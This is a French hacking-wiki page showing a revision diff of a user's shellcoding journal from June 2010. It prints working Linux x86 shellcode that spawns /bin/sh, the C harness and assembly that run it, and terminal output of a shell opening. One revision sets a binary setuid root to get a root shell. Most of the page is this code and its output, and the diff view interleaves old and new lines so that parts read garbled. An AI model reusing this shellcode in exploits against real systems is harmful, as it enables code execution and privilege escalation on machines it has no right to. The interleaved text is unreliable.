« Hiteck » : différence entre les versions

De HackBBS
Aller à la navigation Aller à la recherche
Blackdevil (discussion | contributions)
Aucun résumé des modifications
Blackdevil (discussion | contributions)
Aucun résumé des modifications
Ligne 5 : Ligne 5 :
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br />
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D<br /><br />


  #include <stdio.h><br />
hiteck@hiteck:~/Bureau/exploits$ cat exploit.c<br />
/************************************************************************<br />
* Shellcode cree par hit3ck         *<br />
* Pour tous renseignement :               *<br />
*http://wiki.hackbbs.org/index.php/Journal_intrusion_systeme_by_hit3ck *<br />
* Disponible sur les canals de #hackbbs et #hzv *<br />
*************************************************************************/<br />
#include <stdio.h><br /><br />


char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";<br />
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";<br /><br />


int main(void)<br />
int main(void)<br />
{<br />
{<br />
(*(void(*)()) shellcode)();<br />  
printf("***********************\n");<br />
}<br /><br />
printf("* Shellcode by hit3ck *\n");<br />
Encore un petit exemple :D<br />
printf("***********************\n");<br />
root@hiteck:/home/hiteck/Bureau/exploits# chown root.root shell1<br />
printf("*    taille : %d      *\n",sizeof(shellcode)-1);<br />
root@hiteck:/home/hiteck/Bureau/exploits# chmod +s shell1<br />
printf("***********************\n");<br />
root@hiteck:/home/hiteck/Bureau/exploits# ls -l shell1<br />
(*(void(*)()) shellcode)();<br />
-rwsr-sr-x 1 root root 8317 2010-06-17 23:47 shell1<br />
}<br />
root@hiteck:/home/hiteck/Bureau/exploits# exit<br />
hiteck@hiteck:~/Bureau/exploits$ cat shell.s<br />
exit<br />
main:<br />
hiteck@hiteck:~/Bureau/exploits$ ./shell1<br />
xorl %eax,%eax<br />
  $# whoami<br />
xorl %ebx,%ebx<br />
root<br />
xorl %ecx,%ecx<br />
  $# echo "Local shellcode remote :-D"<br />
xorl %edx,%edx<br />
Local shellcode remote :-D<br />
push %edx<br />
  $# exit<br />
push $0x68732f6e<br />
hiteck@hiteck:~/Bureau/exploits$<br />
push $0x69622f2f<br />
mov %esp,%ebx<br />
push %edx<br />
push %ebx<br />
mov %esp,%ecx<br />
mov $11,%al<br />
int $0x80<br /><br />
 
hiteck@hiteck:~/Bureau/exploits$ ./exploit<br />
***********************<br />
* Shellcode by hit3ck *<br />
***********************<br />
*    taille : 29      *<br />
***********************<br />
  $ whoami<br />
hiteck<br />
  $ echo "Local exploit shellcode reussi :-D"<br />
Local exploit shellcode reussi :-D<br />
  $ exit<br />
hiteck@hiteck:~/Bureau/exploits$<br /><br />


A la prochaine :-D
A la prochaine :-D
</p>
</p>

Version du 18 juin 2010 à 13:39

Shellcoding

Vendredi 18 juin 2010 :
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D

hiteck@hiteck:~/Bureau/exploits$ cat exploit.c
/************************************************************************

  1. include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
printf("***********************\n");
printf("* Shellcode by hit3ck *\n");
printf("***********************\n");
printf("* taille : %d *\n",sizeof(shellcode)-1);
printf("***********************\n");
(*(void(*)()) shellcode)();
}
hiteck@hiteck:~/Bureau/exploits$ cat shell.s
main:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
push %edx
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $11,%al
int $0x80

hiteck@hiteck:~/Bureau/exploits$ ./exploit


  • Shellcode by hit3ck *

  • taille : 29 *

$ whoami
hiteck
$ echo "Local exploit shellcode reussi :-D"
Local exploit shellcode reussi :-D
$ exit
hiteck@hiteck:~/Bureau/exploits$

A la prochaine :-D